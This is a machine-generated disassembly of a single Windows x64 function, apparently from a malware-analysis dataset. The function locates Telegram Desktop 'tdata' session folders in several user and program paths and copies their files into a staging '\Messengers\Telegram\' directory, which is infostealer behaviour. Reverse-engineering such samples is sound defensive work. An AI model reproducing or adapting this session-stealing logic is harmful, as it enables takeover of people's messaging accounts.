Function at 0x14005c0f0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x230
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rsp + 0x220], rax
lea rcx, str.Telegram_n
call fcn.1400029d0
lea rcx, [rsp + 0x138]
call fcn.140057350
nop
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005d07a
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x118]
call fcn.14002d660
nop
mov r8d, 0x27
lea rdx, str._AppData_Roaming_Telegram_Desktop_tdata
lea rcx, [rsp + 0x118]
call fcn.140021a00
xor r14d, r14d
mov qword [rsp + 0x160], r14
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x178], r14
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x170], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14005c24f
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c24a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d080
call fcn.140080f50
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rax, r15
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005d086
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0xf8]
call fcn.14002d660
nop
mov r8d, 0x25
lea rdx, str._AppData_Local_Telegram_Desktop_tdata
lea rcx, [rsp + 0xf8]
call fcn.140021a00
mov qword [rsp + 0x180], r14
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], r14
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x190], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x14005c370
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c36b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d08c
call fcn.140080f50
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], 0xf
mov byte [rsp + 0xf8], 0
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x1b0], r14
mov qword [rsp + 0x1b8], 0xf
mov byte [rsp + 0x1a0], 0
mov r8d, 0x27
lea rdx, str.C:_Program_Files_Telegram_Desktop_tdata
lea rcx, [rsp + 0x1a0]
call fcn.1400218a0
nop
mov rax, r14
lea r12, str._Messengers
movabs rdi, 0xcccccccccccccccd
lea r13, str._Messengers_Telegram_
lea rsi, [fcn.14001efc0]
mov qword [rsp + 0x50], rax
cmp rax, 3
jae 0x14005cfeb
shl rax, 5
lea rsi, [rsp + 0x160]
add rsi, rax
mov rdx, rsi
lea rcx, [rsp + 0x58]
call fcn.14002f5c0
nop
lea rcx, [rsp + 0x58]
call fcn.1400044e0
movzx ebx, al
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x14005c468
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c463
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d092
call fcn.140080f50
test bl, bl
je 0x14005cfd7
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14005c47d
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [0x1400ec5f0]
call fcn.14002fa00
mov rcx, rax
lea rdx, [0x1400d0184]
call fcn.140026050
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], 0xf
mov byte [rsp + 0xf8], 0
cmp byte [0x1400e8e20], 0
je 0x14005c56e
lea rcx, [rsp + 0x78]
call fcn.140057350
nop
lea r8, [0x1400e9280]
cmp qword [0x1400e9298], 0x10
cmovae r8, qword [0x1400e9280]
mov r9, qword [0x1400e9290]
xor edx, edx
mov rcx, rax
call fcn.14002d980
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm1
mov rdx, qword [rsp + 0x90]
cmp rdx, 0x10
jb 0x14005c660
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c65b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d098
jmp 0x14005c65b
mov rax, r15
mov rcx, qword [rsp + 0x148]
sub rax, rcx
cmp rax, 9
jb 0x14005d09e
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0x10
cmovae rax, qword [rsp + 0x138]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x138]
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x58]
call fcn.14002d660
nop
lea rdx, [0x1400e9220]
cmp qword [0x1400e9238], 0x10
cmovae rdx, qword [0x1400e9220]
mov r8, qword [0x1400e9230]
lea rcx, [rsp + 0x58]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm1
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14005c660
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c65b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0a4
call fcn.140080f50
mov rax, r15
mov rcx, qword [rsp + 0x108]
sub rax, rcx
cmp rax, 0xb
jb 0x14005d0aa
lea r9, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae r9, qword [rsp + 0xf8]
mov qword [rsp + 0x30], 0xb
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0xf8]
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x1c0]
call fcn.14002d660
nop
lea r9, [rsp + 0x215]
mov r8, qword [rsp + 0x50]
dec r9
mov rax, rdi
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x14005c6d0
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], dl
lea rax, [rsp + 0x215]
cmp r9, rax
je 0x14005c746
lea r8, [rsp + 0x215]
sub r8, r9
mov rdx, r9
lea rcx, [rsp + 0x118]
call fcn.1400218a0
nop
mov rax, r15
mov rcx, qword [rsp + 0x108]
sub rax, rcx
cmp rax, 0x15
jb 0x14005d0b0
lea r9, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae r9, qword [rsp + 0xf8]
mov qword [rsp + 0x30], 0x15
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0xf8]
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x58]
call fcn.14002d660
nop
lea r9, [rsp + 0x118]
lea r8, [rsp + 0x58]
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x1e0]
call fcn.140039af0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14005c807
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c801
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0b6
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14005c84b
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c845
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0bc
call fcn.140080f50
nop
lea rbx, [rsp + 0x1c0]
mov edi, 2
nop dword [rax + rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14005c86d
mov rcx, qword [rbx]
call fcn.14009939c
add rbx, 0x20
sub rdi, 1
jne 0x14005c860
mov dword [rsp + 0x40], r14d
lea ecx, [rdi + 8]
call fcn.1400812b4
mov qword [rax], r14
lea rbx, [rax + 8]
lea rax, [fcn.14001efc0]
mov qword [rsp + 0x20], rax
lea r9, [0x14001f120]
xor r8d, r8d
lea edx, [rdi + 0x20]
mov rcx, rbx
call fcn.1400812e8
mov qword [rsp + 0x48], rbx
mov rdx, rsi
lea rcx, [rsp + 0x78]
call fcn.14001f140
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140057f80
nop
mov rdi, r14
movsxd r15, dword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
movabs r13, 0x7fffffffffffffff
nop dword [rax]
cmp rdi, r15
jae 0x14005ca69
mov rbx, rdi
shl rbx, 5
add rbx, r12
mov byte [rsp + 0xf0], 0x2f
mov rax, qword [rsi + 0x10]
cmp rax, r13
je 0x14005d0c2
mov r9, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14005c925
mov r9, qword [rsi]
mov qword [rsp + 0x30], 1
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r8, rsi
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x58]
call fcn.14002d660
nop
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14005c964
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140021a00
mov qword [rsp + 0x200], r14
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x210], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x200]
call fcn.140057d10
nop
mov rdx, qword [rsp + 0x218]
cmp rdx, 0x10
jb 0x14005ca08
inc rdx
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ca03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0c8
call fcn.140080f50
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], 0xf
mov byte [rsp + 0x200], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14005ca61
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ca5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0ce
call fcn.140080f50
inc rdi
jmp 0x14005c8f0
jmp 0x14005ca6e
lea rsi, [fcn.14001efc0]
movabs r15, 0x7fffffffffffffff
mov dword [rsp + 0x40], r14d
mov ecx, 8
call fcn.1400812b4
mov qword [rax], r14
lea rbx, [rax + 8]
mov qword [rsp + 0x20], rsi
lea r9, [0x14001f120]
xor r8d, r8d
lea edx, [r8 + 0x20]
mov rcx, rbx
call fcn.1400812e8
mov qword [rsp + 0x48], rbx
mov rax, qword [rsp + 0x50]
shl rax, 5
lea rcx, [rsp + 0x160]
add rcx, rax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
call fcn.140057490
nop
mov r12, r14
movsxd r13, dword [rsp + 0x40]
cmp r12, r13
jae 0x14005cf3f
mov rdi, r12
shl rdi, 5
add rdi, qword [rsp + 0x48]
mov rbx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14005cb03
mov rbx, qword [rdi]
mov rcx, rdi
jb 0x14005cb0b
mov rcx, qword [rdi]
mov r15, qword [rdi + 0x10]
add r15, rcx
cmp rbx, r15
je 0x14005cb41
nop word [rax + rax]
movsx esi, byte [rbx]
mov ecx, esi
call fcn.14009a270
test eax, eax
jne 0x14005cb70
mov ecx, esi
call fcn.14009a1c0
test eax, eax
jne 0x14005cb41
inc rbx
cmp rbx, r15
jne 0x14005cb20
xor al, al
movabs r15, 0x7fffffffffffffff
test al, al
jne 0x14005cf37
mov byte [rsp + 0xf0], 0x2f
mov rax, qword [rsp + 0x1f0]
cmp rax, r15
je 0x14005d0d4
jmp 0x14005cb74
mov al, 1
jmp 0x14005cb43
lea r9, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0x10
cmovae r9, qword [rsp + 0x1e0]
mov qword [rsp + 0x30], 1
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x1e0]
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x98]
call fcn.14002d660
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14005cbd4
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x98]
call fcn.140021a00
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x128], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0x10
jb 0x14005cc66
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cc61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0da
call fcn.140080f50
mov qword [rsp + 0xa8], r14
mov qword [rsp + 0xb0], 0xf
mov byte [rsp + 0x98], 0
lea rcx, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae rcx, qword [rsp + 0x118]
call fcn.14009939c
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x78]
call fcn.14002f5c0
nop
mov byte [rsp + 0xf0], 0x2f
mov rax, qword [rsp + 0x50]
shl rax, 5
lea r8, [rsp + 0x160]
add r8, rax
mov rax, qword [r8 + 0x10]
cmp rax, r15
je 0x14005d0e0
mov r9, r8
cmp qword [r8 + 0x18], 0x10
jb 0x14005ccea
mov r9, qword [r8]
mov qword [rsp + 0x30], 1
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
movzx edx, byte [rsp + 0xf0]
lea rcx, [rsp + 0x58]
call fcn.14002d660
nop
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x14005cd26
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140021a00
mov qword [rsp + 0x200], r14
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x210], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0xb8]
call fcn.14002f5c0
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0xb8]
call fcn.1400578a0
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 8
jb 0x14005cde2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cddd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0e6
call fcn.140080f50
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], 7
mov word [rsp + 0xb8], r14w
mov rdx, qword [rsp + 0x218]
cmp rdx, 0x10
jb 0x14005ce42
inc rdx
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ce3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0ec
call fcn.140080f50
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], 0xf
mov byte [rsp + 0x200], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14005ce9b
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ce96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0f2
call fcn.140080f50
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rsp + 0x90]
cmp rdx, 8
jb 0x14005cef4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ceee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0f8
call fcn.140080f50
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14005cf37
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cf32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d0fe
call fcn.140080f50
inc r12
jmp 0x14005cae1
jmp 0x14005cf4e
lea rsi, [fcn.14001efc0]
lea r13, str._Messengers_Telegram_
movabs rdi, 0xcccccccccccccccd
lea r12, str._Messengers
mov r9, rsi
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x1c0]
call fcn.140080f94
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x14005cfde
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cfc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d104
call fcn.140080f50
mov rax, qword [rsp + 0x50]
inc rax
jmp 0x14005c3ed
lea rsi, [fcn.14001efc0]
mov rax, qword [rsp + 0x50]
inc rax
jmp 0x14005c3ed
mov r9, rsi
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rsp + 0x160]
call fcn.140080f94
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 0x10
jb 0x14005d048
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d043
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d10a
call fcn.140080f50
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
int3
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.140002cb0
int3
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3